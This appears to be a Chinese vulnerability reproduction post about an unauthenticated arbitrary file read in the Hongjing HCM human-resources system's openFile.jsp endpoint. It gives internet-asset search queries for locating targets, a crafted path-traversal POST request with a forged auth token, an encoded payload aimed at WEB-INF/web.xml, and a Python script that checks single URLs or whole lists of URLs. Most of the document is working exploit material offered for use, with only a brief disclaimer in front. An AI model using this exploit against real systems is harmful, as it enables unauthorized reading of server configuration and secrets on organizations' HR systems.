聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。
文章目錄
- 漏洞描述
- 漏洞復現
- 測試工具
漏洞描述
宏景HCM人力資源信息管理系統是一款全面覆蓋人力資源管理各模塊的軟件,其openFile接口
存在任意文件讀取漏洞,未授權攻擊者可以利用其讀取網站配置文件等敏感信息。
漏洞復現
1)資產測繪,信息收集
fofa:app="HJSOFT-HCM"
hunter:app.name="宏景 HCM"
天道酬勤!!
2)構造數據包
POST /templates/attestation/../../general/muster/hmuster/openFile.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
Content-Type: application/x-www-form-urlencoded
Content-Length: 68filename=8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP
代碼解釋
filename
這部分需要加密轉換,工具:https://github.com/vaycore/HrmsTool
執行命令:java -jar HrmsTool.jar -e ../webapps/hrms/WEB-INF/web.xml
編碼前:../webapps/hrms/WEB-INF/web.xml
編碼后:8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP
3)神器Yakit發包
測試工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-import requests # 導入requests庫,用于發送HTTP請求
import argparse # 導入argparse庫,用于解析命令行參數
from requests.exceptions import RequestException # 導入RequestException,用于處理請求異常
from urllib3.exceptions import InsecureRequestWarning # 導入InsecureRequestWarning,用于禁用不安全請求警告# 打印顏色定義
RED = '\033[91m' # 紅色
RESET = '\033[0m' # 重置顏色# 禁用不安全請求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)def check_vulnerability(url):try:# 構建攻擊URL,嘗試利用路徑遍歷漏洞attack_url = url.rstrip('/') + "/templates/attestation/%2e%2e/%2e%2e/general/muster/hmuster/openFile.jsp"headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36', # 設置User-Agent'x-auth-token': 'd9eaeacd5de1008fd43f737c853dcbcb', # 設置偽造的x-auth-token'Content-Type': 'application/x-www-form-urlencoded', # 設置請求內容類型}# 準備POST請求的數據data = {'filename': '8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP' # 嘗試讀取的文件名}# 向服務器發送POST請求response = requests.post(attack_url, headers=headers, data=data, verify=False, timeout=10) # 不驗證SSL證書,設置超時時間# 檢查響應狀態碼和響應體中的關鍵字if response.status_code == 200 and 'web-app' in response.text: # 如果狀態碼為200并且響應體中包含'web-app'print(f"{RED}URL [{url}] 宏景HCM openFile任意文件讀取漏洞。{RESET}") # 打印漏洞信息else:print(f"URL [{url}] 未發現漏洞。") # 打印未發現漏洞信息except RequestException as e:print(f"URL [{url}] 請求失敗: {e}") # 打印請求失敗信息def main():parser = argparse.ArgumentParser(description='檢查目標URL是否存在宏景HCM openFile任意文件讀取漏洞。') # 解析命令行參數parser.add_argument('-u', '--url', help='指定目標URL') # 添加URL參數parser.add_argument('-f', '--file', help='指定包含多個目標URL的文本文件') # 添加文件參數args = parser.parse_args() # 解析命令行參數if args.url: # 如果指定了URL# 如果URL未以http://或https://開頭,則添加http://args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.urlcheck_vulnerability(args.url) # 檢查指定URL的漏洞elif args.file: # 如果指定了文件with open(args.file, 'r') as file: # 打開文件urls = file.read().splitlines() # 讀取文件中的URL列表for url in urls:url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url # 確保URL以http://或https://開頭check_vulnerability(url) # 檢查每個URL的漏洞if __name__ == '__main__':main() # 程序入口
運行截圖